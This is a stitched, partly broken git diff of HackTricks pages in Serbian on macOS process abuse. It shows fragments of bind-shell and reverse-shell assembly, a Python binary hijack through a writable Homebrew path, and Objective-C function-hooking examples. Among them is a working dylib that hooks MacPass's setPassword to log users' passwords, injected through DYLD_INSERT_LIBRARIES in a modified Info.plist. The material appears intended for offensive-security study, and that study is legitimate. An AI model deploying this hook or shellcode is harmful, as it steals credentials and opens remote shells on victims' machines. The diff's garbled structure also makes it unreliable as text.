Bind shell sa [https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html](https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html) na **portu 4444**
|
Bind shell sa [https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html](https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html) na **portu 4444**
|
||||||
|
|
||||||
```armasm
|
```armasm
|
||||||
section .text
|
section .text
|
||||||
global _main
|
global _main
|
||||||
|
@ -386,9 +377,11 @@ mov rax, r8
|
||||||
mov al, 0x3b
|
mov al, 0x3b
|
||||||
syscall
|
syscall
|
||||||
```
|
```
|
||||||
#### Reverse Shell
|
|
||||||
|
**Reverse Shell**
|
||||||
|
|
||||||
Reverse shell sa [https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html](https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html). Reverse shell na **127.0.0.1:4444**
|
Reverse shell sa [https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html](https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html). Reverse shell na **127.0.0.1:4444**
|
||||||
|
|
||||||
```armasm
|
```armasm
|
||||||
section .text
|
section .text
|
||||||
global _main
|
global _main
|
||||||
|
@ -450,16 +443,7 @@ mov rax, r8
|
||||||
mov al, 0x3b
|
mov al, 0x3b
|
||||||
syscall
|
syscall
|
||||||
```
|
```
|
||||||
<details>
|
|
||||||
|
|
||||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
||||||
|
|
||||||
Drugi načini podrške HackTricks-u:
|
|
||||||
|
|
||||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
|
||||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
||||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# Zloupotreba procesa na macOS-u
|
# macOS Proces Abuse
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -30,16 +30,16 @@ Ubacivanje biblioteke je tehnika u kojoj napadač **prisiljava proces da učita
|
||||||
|
|
||||||
Hakovanje funkcija podrazumeva **interceptovanje poziva funkcija** ili poruka unutar softverskog koda. Hakovanjem funkcija, napadač može **modifikovati ponašanje** procesa, posmatrati osetljive podatke ili čak preuzeti kontrolu nad tokom izvršenja.
|
Hakovanje funkcija podrazumeva **interceptovanje poziva funkcija** ili poruka unutar softverskog koda. Hakovanjem funkcija, napadač može **modifikovati ponašanje** procesa, posmatrati osetljive podatke ili čak preuzeti kontrolu nad tokom izvršenja.
|
||||||
|
|
||||||
{% content-ref url="../mac-os-architecture/macos-function-hooking.md" %}
|
{% content-ref url="macos-function-hooking.md" %}
|
||||||
[macos-function-hooking.md](../mac-os-architecture/macos-function-hooking.md)
|
[macos-function-hooking.md](macos-function-hooking.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### Komunikacija Između Procesa
|
### Komunikacija Između Procesa
|
||||||
|
|
||||||
Komunikacija između procesa (IPC) odnosi se na različite metode kojima odvojeni procesi **doležu i razmenjuju podatke**. Iako je IPC fundamentalan za mnoge legitimne aplikacije, može biti zloupotrebljen da zaobiđe izolaciju procesa, procure osetljive informacije ili izvrši neovlaštene akcije.
|
Komunikacija između procesa (IPC) odnosi se na različite metode kojima odvojeni procesi **doležu i razmenjuju podatke**. Iako je IPC fundamentalan za mnoge legitimne aplikacije, može biti zloupotrebljen da zaobiđe izolaciju procesa, procure osetljive informacije ili izvrši neovlaštene akcije.
|
||||||
|
|
||||||
{% content-ref url="../mac-os-architecture/macos-ipc-inter-process-communication/" %}
|
{% content-ref url="macos-ipc-inter-process-communication/" %}
|
||||||
[macos-ipc-inter-process-communication](../mac-os-architecture/macos-ipc-inter-process-communication/)
|
[macos-ipc-inter-process-communication](macos-ipc-inter-process-communication/)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### Ubacivanje Elektronskih Aplikacija
|
### Ubacivanje Elektronskih Aplikacija
|
||||||
|
@ -107,9 +107,10 @@ Druge env promenljive poput **`PYTHONPATH`** i **`PYTHONHOME`** takođe mogu bit
|
||||||
|
|
||||||
Imajte na umu da izvršni fajlovi kompajlirani sa **`pyinstaller`** neće koristiti ove env promenljive čak i ako se izvršavaju koristeći ugrađeni python.
|
Imajte na umu da izvršni fajlovi kompajlirani sa **`pyinstaller`** neće koristiti ove env promenljive čak i ako se izvršavaju koristeći ugrađeni python.
|
||||||
|
|
||||||
{% hint style="opasnost" %}
|
{% hint style="info" %}
|
||||||
U suštini, nisam uspeo da pronađem način da nateram python da izvrši proizvoljni kod zloupotrebom env promenljivih.\
|
U suštini, nisam uspeo da pronađem način da nateram python da izvrši proizvoljni kod zloupotrebom env promenljivih.\
|
||||||
Međutim, većina ljudi instalira python koristeći **Hombrew**, koji će instalirati python na **zapisivu lokaciju** za podrazumevanog admin korisnika. Možete ga preuzeti nečim poput:
|
Međutim, većina ljudi instalira python koristeći **Hombrew**, koji će instalirati python na **zapisivu lokaciju** za podrazumevanog admin korisnika. Možete ga preuzeti nečim poput:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
mv /opt/homebrew/bin/python3 /opt/homebrew/bin/python3.old
|
mv /opt/homebrew/bin/python3 /opt/homebrew/bin/python3.old
|
||||||
cat > /opt/homebrew/bin/python3 <<EOF
|
cat > /opt/homebrew/bin/python3 <<EOF
|
||||||
|
@ -119,6 +120,7 @@ cat > /opt/homebrew/bin/python3 <<EOF
|
||||||
EOF
|
EOF
|
||||||
chmod +x /opt/homebrew/bin/python3
|
chmod +x /opt/homebrew/bin/python3
|
||||||
```
|
```
|
||||||
|
|
||||||
Čak će i **root** pokrenuti ovaj kod prilikom pokretanja pythona.
|
Čak će i **root** pokrenuti ovaj kod prilikom pokretanja pythona.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
|
|
|
@ -0,0 +1,384 @@
|
||||||
|
# macOS Function Hooking
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
## Interponiranje funkcija
|
||||||
|
|
||||||
|
Kreirajte **dylib** sa **`__interpose`** sekcijom (ili sekcijom označenom sa **`S_INTERPOSING`**) koja sadrži tuple **pokazivača na funkcije** koji se odnose na **originalne** i **zamenske** funkcije.
|
||||||
|
|
||||||
|
Zatim, **ubacite** dylib sa **`DYLD_INSERT_LIBRARIES`** (interponiranje treba da se desi pre nego što se glavna aplikacija učita). Očigledno, [**ograničenja** koja se primenjuju na korišćenje **`DYLD_INSERT_LIBRARIES`** se takođe primenjuju ovde](macos-library-injection/#check-restrictions).
|
||||||
|
|
||||||
|
### Interponiranje printf
|
||||||
|
|
||||||
|
{% tabs %}
|
||||||
|
{% tab title="interpose.c" %}
|
||||||
|
{% code title="interpose.c" %}
|
||||||
|
```c
|
||||||
|
// gcc -dynamiclib interpose.c -o interpose.dylib
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdarg.h>
|
||||||
|
|
||||||
|
int my_printf(const char *format, ...) {
|
||||||
|
//va_list args;
|
||||||
|
//va_start(args, format);
|
||||||
|
//int ret = vprintf(format, args);
|
||||||
|
//va_end(args);
|
||||||
|
|
||||||
|
int ret = printf("Hello from interpose\n");
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
|
||||||
|
__attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf
|
||||||
|
__attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf };
|
||||||
|
```
|
||||||
|
{% endcode %}
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
|
{% tab title="undefined" %}
|
||||||
|
```c
|
||||||
|
//gcc hello.c -o hello
|
||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
|
int main() {
|
||||||
|
printf("Hello World!\n");
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
|
{% tab title="interpose2.c" %}
|
||||||
|
```c
|
||||||
|
// Just another way to define an interpose
|
||||||
|
// gcc -dynamiclib interpose2.c -o interpose2.dylib
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
|
#define DYLD_INTERPOSE(_replacement, _replacee) \
|
||||||
|
__attribute__((used)) static struct { \
|
||||||
|
const void* replacement; \
|
||||||
|
const void* replacee; \
|
||||||
|
} _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \
|
||||||
|
(const void*) (unsigned long) &_replacement, \
|
||||||
|
(const void*) (unsigned long) &_replacee \
|
||||||
|
};
|
||||||
|
|
||||||
|
int my_printf(const char *format, ...)
|
||||||
|
{
|
||||||
|
int ret = printf("Hello from interpose\n");
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
|
||||||
|
DYLD_INTERPOSE(my_printf,printf);
|
||||||
|
```
|
||||||
|
{% endtab %}
|
||||||
|
{% endtabs %}
|
||||||
|
|
||||||
|
```bash
|
||||||
|
DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello
|
||||||
|
Hello from interpose
|
||||||
|
|
||||||
|
DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello
|
||||||
|
Hello from interpose
|
||||||
|
```
|
||||||
|
|
||||||
|
## Metoda Swizzling
|
||||||
|
|
||||||
|
U ObjectiveC-u se metoda poziva na sledeći način: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`**
|
||||||
|
|
||||||
|
Potrebni su **objekat**, **metoda** i **parametri**. Kada se metoda pozove, **poruka se šalje** koristeći funkciju **`objc_msgSend`**: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
|
||||||
|
|
||||||
|
Objekat je **`someObject`**, metoda je **`@selector(method1p1:p2:)`** i argumenti su **value1**, **value2**.
|
||||||
|
|
||||||
|
Prateći strukture objekata, moguće je doći do **niza metoda** gde se **nalaze nazivi** i **pokazivači** na kod metode.
|
||||||
|
|
||||||
|
{% hint style="danger" %}
|
||||||
|
Imajte na umu da se zbog pristupa metodama i klasama na osnovu njihovih naziva, ove informacije čuvaju u binarnom formatu, pa je moguće dobiti pristup njima pomoću `otool -ov </path/bin>` ili [`class-dump </path/bin>`](https://github.com/nygard/class-dump)
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
### Pristupanje sirovim metodama
|
||||||
|
|
||||||
|
Moguće je pristupiti informacijama o metodama kao što su naziv, broj parametara ili adresa, kao u sledećem primeru:
|
||||||
|
|
||||||
|
```objectivec
|
||||||
|
// gcc -framework Foundation test.m -o test
|
||||||
|
|
||||||
|
#import <Foundation/Foundation.h>
|
||||||
|
#import <objc/runtime.h>
|
||||||
|
#import <objc/message.h>
|
||||||
|
|
||||||
|
int main() {
|
||||||
|
// Get class of the variable
|
||||||
|
NSString* str = @"This is an example";
|
||||||
|
Class strClass = [str class];
|
||||||
|
NSLog(@"str's Class name: %s", class_getName(strClass));
|
||||||
|
|
||||||
|
// Get parent class of a class
|
||||||
|
Class strSuper = class_getSuperclass(strClass);
|
||||||
|
NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));
|
||||||
|
|
||||||
|
// Get information about a method
|
||||||
|
SEL sel = @selector(length);
|
||||||
|
NSLog(@"Selector name: %@", NSStringFromSelector(sel));
|
||||||
|
Method m = class_getInstanceMethod(strClass,sel);
|
||||||
|
NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
|
||||||
|
NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));
|
||||||
|
|
||||||
|
// Iterate through the class hierarchy
|
||||||
|
NSLog(@"Listing methods:");
|
||||||
|
Class currentClass = strClass;
|
||||||
|
while (currentClass != NULL) {
|
||||||
|
unsigned int inheritedMethodCount = 0;
|
||||||
|
Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);
|
||||||
|
|
||||||
|
NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);
|
||||||
|
|
||||||
|
for (unsigned int i = 0; i < inheritedMethodCount; i++) {
|
||||||
|
Method method = inheritedMethods[i];
|
||||||
|
SEL selector = method_getName(method);
|
||||||
|
const char* methodName = sel_getName(selector);
|
||||||
|
unsigned long address = (unsigned long)method_getImplementation(m);
|
||||||
|
NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Free the memory allocated by class_copyMethodList
|
||||||
|
free(inheritedMethods);
|
||||||
|
currentClass = class_getSuperclass(currentClass);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Other ways to call uppercaseString method
|
||||||
|
if([str respondsToSelector:@selector(uppercaseString)]) {
|
||||||
|
NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
|
||||||
|
NSLog(@"Uppercase string: %@", uppercaseString);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Using objc_msgSend directly
|
||||||
|
NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString));
|
||||||
|
NSLog(@"Uppercase string: %@", uppercaseString2);
|
||||||
|
|
||||||
|
// Calling the address directly
|
||||||
|
IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address
|
||||||
|
NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
|
||||||
|
NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
|
||||||
|
NSLog(@"Uppercase string: %@", uppercaseString3);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### Zamena metoda pomoću method\_exchangeImplementations
|
||||||
|
|
||||||
|
Funkcija **`method_exchangeImplementations`** omogućava **promenu** **adrese** **implementacije** jedne funkcije za drugu.
|
||||||
|
|
||||||
|
{% hint style="danger" %}
|
||||||
|
Dakle, kada se pozove funkcija, izvršava se druga funkcija.
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
```objectivec
|
||||||
|
//gcc -framework Foundation swizzle_str.m -o swizzle_str
|
||||||
|
|
||||||
|
#import <Foundation/Foundation.h>
|
||||||
|
#import <objc/runtime.h>
|
||||||
|
|
||||||
|
|
||||||
|
// Create a new category for NSString with the method to execute
|
||||||
|
@interface NSString (SwizzleString)
|
||||||
|
|
||||||
|
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;
|
||||||
|
|
||||||
|
@end
|
||||||
|
|
||||||
|
@implementation NSString (SwizzleString)
|
||||||
|
|
||||||
|
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
|
||||||
|
NSLog(@"Custom implementation of substringFromIndex:");
|
||||||
|
|
||||||
|
// Call the original method
|
||||||
|
return [self swizzledSubstringFromIndex:from];
|
||||||
|
}
|
||||||
|
|
||||||
|
@end
|
||||||
|
|
||||||
|
int main(int argc, const char * argv[]) {
|
||||||
|
// Perform method swizzling
|
||||||
|
Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));
|
||||||
|
Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));
|
||||||
|
method_exchangeImplementations(originalMethod, swizzledMethod);
|
||||||
|
|
||||||
|
// We changed the address of one method for the other
|
||||||
|
// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex
|
||||||
|
// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled
|
||||||
|
|
||||||
|
// Example usage
|
||||||
|
NSString *myString = @"Hello, World!";
|
||||||
|
NSString *subString = [myString substringFromIndex:7];
|
||||||
|
NSLog(@"Substring: %@", subString);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
{% hint style="warning" %}
|
||||||
|
U ovom slučaju, ako **implementacioni kod legitimne** metode **proverava** ime metode, mogao bi **detektovati** ovu zamenu i sprečiti je da se izvrši.
|
||||||
|
|
||||||
|
Sledeća tehnika nema ovu restrikciju.
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
### Zamena metoda pomoću method\_setImplementation
|
||||||
|
|
||||||
|
Prethodni format je čudan jer menjate implementaciju 2 metode jednu drugom. Korišćenjem funkcije **`method_setImplementation`** možete **promeniti implementaciju** jedne **metode za drugu**.
|
||||||
|
|
||||||
|
Samo se setite da **sačuvate adresu implementacije originalne metode** ako ćete je pozivati iz nove implementacije pre nego što je prepišete, jer će kasnije biti mnogo komplikovano locirati tu adresu.
|
||||||
|
|
||||||
|
```objectivec
|
||||||
|
#import <Foundation/Foundation.h>
|
||||||
|
#import <objc/runtime.h>
|
||||||
|
#import <objc/message.h>
|
||||||
|
|
||||||
|
static IMP original_substringFromIndex = NULL;
|
||||||
|
|
||||||
|
@interface NSString (Swizzlestring)
|
||||||
|
|
||||||
|
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;
|
||||||
|
|
||||||
|
@end
|
||||||
|
|
||||||
|
@implementation NSString (Swizzlestring)
|
||||||
|
|
||||||
|
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
|
||||||
|
NSLog(@"Custom implementation of substringFromIndex:");
|
||||||
|
|
||||||
|
// Call the original implementation using objc_msgSendSuper
|
||||||
|
return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
|
||||||
|
}
|
||||||
|
|
||||||
|
@end
|
||||||
|
|
||||||
|
int main(int argc, const char * argv[]) {
|
||||||
|
@autoreleasepool {
|
||||||
|
// Get the class of the target method
|
||||||
|
Class stringClass = [NSString class];
|
||||||
|
|
||||||
|
// Get the swizzled and original methods
|
||||||
|
Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:));
|
||||||
|
|
||||||
|
// Get the function pointer to the swizzled method's implementation
|
||||||
|
IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:)));
|
||||||
|
|
||||||
|
// Swap the implementations
|
||||||
|
// It return the now overwritten implementation of the original method to store it
|
||||||
|
original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);
|
||||||
|
|
||||||
|
// Example usage
|
||||||
|
NSString *myString = @"Hello, World!";
|
||||||
|
NSString *subString = [myString substringFromIndex:7];
|
||||||
|
NSLog(@"Substring: %@", subString);
|
||||||
|
|
||||||
|
// Set the original implementation back
|
||||||
|
method_setImplementation(originalMethod, original_substringFromIndex);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
## Metodologija napada korišćenjem hookinga
|
||||||
|
|
||||||
|
Na ovoj stranici su razmatrani različiti načini za hookovanje funkcija. Međutim, oni uključuju **izvršavanje koda unutar procesa kako bi se izvršio napad**.
|
||||||
|
|
||||||
|
Da bi se to postiglo, najlakša tehnika koju možete koristiti je ubrizgavanje [Dyld-a putem promenljivih okruženja ili preuzimanje kontrole](macos-library-injection/macos-dyld-hijacking-and-dyld\_insert\_libraries.md). Međutim, pretpostavljam da se to takođe može uraditi putem [Dylib procesnog ubrizgavanja](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port).
|
||||||
|
|
||||||
|
Međutim, obe opcije su **ograničene** na **nezaštićene** binarne fajlove/procese. Proverite svaku tehniku da biste saznali više o ograničenjima.
|
||||||
|
|
||||||
|
Međutim, napad korišćenjem hookinga je veoma specifičan, napadač će to uraditi kako bi **ukrao osetljive informacije iznutra procesa** (ako to nije slučaj, onda bi se koristio napad ubrizgavanjem procesa). A ove osetljive informacije mogu se nalaziti u aplikacijama koje su preuzete od strane korisnika, kao što je MacPass.
|
||||||
|
|
||||||
|
Dakle, vektor napadača bi bio da pronađe ranjivost ili ukloni potpis aplikacije, ubrizga **`DYLD_INSERT_LIBRARIES`** promenljivu okruženja putem Info.plist fajla aplikacije dodajući nešto poput:
|
||||||
|
|
||||||
|
```xml
|
||||||
|
<key>LSEnvironment</key>
|
||||||
|
<dict>
|
||||||
|
<key>DYLD_INSERT_LIBRARIES</key>
|
||||||
|
<string>/Applications/Application.app/Contents/malicious.dylib</string>
|
||||||
|
</dict>
|
||||||
|
```
|
||||||
|
|
||||||
|
a zatim **ponovo registrujte** aplikaciju:
|
||||||
|
|
||||||
|
{% code overflow="wrap" %}
|
||||||
|
```bash
|
||||||
|
/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app
|
||||||
|
```
|
||||||
|
{% endcode %}
|
||||||
|
|
||||||
|
Dodajte u tu biblioteku kod za hakovanje kako biste izvukli informacije: Lozinke, poruke...
|
||||||
|
|
||||||
|
{% hint style="danger" %}
|
||||||
|
Imajte na umu da u novijim verzijama macOS-a, ako **uklonite potpis** aplikacijskog binarnog koda i ako je prethodno izvršen, macOS više **neće izvršavati aplikaciju**.
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
#### Primer biblioteke
|
||||||
|
|
||||||
|
```objectivec
|
||||||
|
// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib
|
||||||
|
|
||||||
|
// If you added env vars in the Info.plist don't forget to call lsregister as explained before
|
||||||
|
|
||||||
|
// Listen to the logs with something like:
|
||||||
|
// log stream --style syslog --predicate 'eventMessage CONTAINS[c] "Password"'
|
||||||
|
|
||||||
|
#include <Foundation/Foundation.h>
|
||||||
|
#import <objc/runtime.h>
|
||||||
|
|
||||||
|
// Here will be stored the real method (setPassword in this case) address
|
||||||
|
static IMP real_setPassword = NULL;
|
||||||
|
|
||||||
|
static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL)
|
||||||
|
{
|
||||||
|
// Function that will log the password and call the original setPassword(pass, file_path) method
|
||||||
|
NSLog(@"[+] Password is: %@", password);
|
||||||
|
|
||||||
|
// After logging the password call the original method so nothing breaks.
|
||||||
|
return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd, password, keyFileURL);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Library constructor to execute
|
||||||
|
__attribute__((constructor))
|
||||||
|
static void customConstructor(int argc, const char **argv) {
|
||||||
|
// Get the real method address to not lose it
|
||||||
|
Class classMPDocument = NSClassFromString(@"MPDocument");
|
||||||
|
Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:));
|
||||||
|
|
||||||
|
// Make the original method setPassword call the fake implementation one
|
||||||
|
IMP fake_IMP = (IMP)custom_setPassword;
|
||||||
|
real_setPassword = method_setImplementation(real_Method, fake_IMP);
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
## Reference
|
||||||
|
|
||||||
|
* [https://nshipster.com/method-swizzling/](https://nshipster.com/method-swizzling/)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite **vašu kompaniju reklamiranu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
|
@ -0,0 +1,456 @@
|
||||||
|
# macOS IPC - Inter Process Communication
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
## Mach poruke putem Portova
|
||||||
|
|
||||||
|
### Osnovne informacije
|
||||||
|
|
||||||
|
Mach koristi **taskove** kao **najmanju jedinicu** za deljenje resursa, pri čemu svaki task može sadržati **više niti**. Ovi **taskovi i niti se mapiraju 1:1 na POSIX procese i niti**.
|
||||||
|
|
||||||
|
Komunikacija između taskova se odvija putem Mach Inter-Process Communication (IPC), koristeći jednosmjerne komunikacione kanale. **Poruke se prenose između portova**, koji deluju kao **redovi poruka** upravljani od strane kernela.
|
||||||
|
|
||||||
|
Svaki proces ima **IPC tabelu**, u kojoj je moguće pronaći **mach portove procesa**. Ime mach porta zapravo predstavlja broj (pokazivač na kernel objekat).
|
||||||
|
|
||||||
|
Proces takođe može poslati ime porta sa određenim pravima **drugom tasku** i kernel će napraviti ovaj unos u **IPC tabeli drugog taska**.
|
||||||
|
|
||||||
|
### Prava Porta
|
||||||
|
|
||||||
|
Prava porta, koja definišu koje operacije task može izvršiti, ključna su za ovu komunikaciju. Moguća **prava porta** su ([definicije odavde](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
|
||||||
|
|
||||||
|
* **Pravo za prijem**, koje omogućava prijem poruka poslatih na port. Mach portovi su MPSC (multiple-producer, single-consumer) redovi, što znači da može postojati samo **jedno pravo za prijem za svaki port** u celom sistemu (za razliku od cevi, gde više procesa može držati deskriptore fajlova za kraj za čitanje jedne cevi).
|
||||||
|
* Task sa **Pravom za prijem** može primiti poruke i **kreirati Prava za slanje**, omogućavajući mu slanje poruka. Originalno samo **sopstveni task ima Pravo za prijem nad svojim portom**.
|
||||||
|
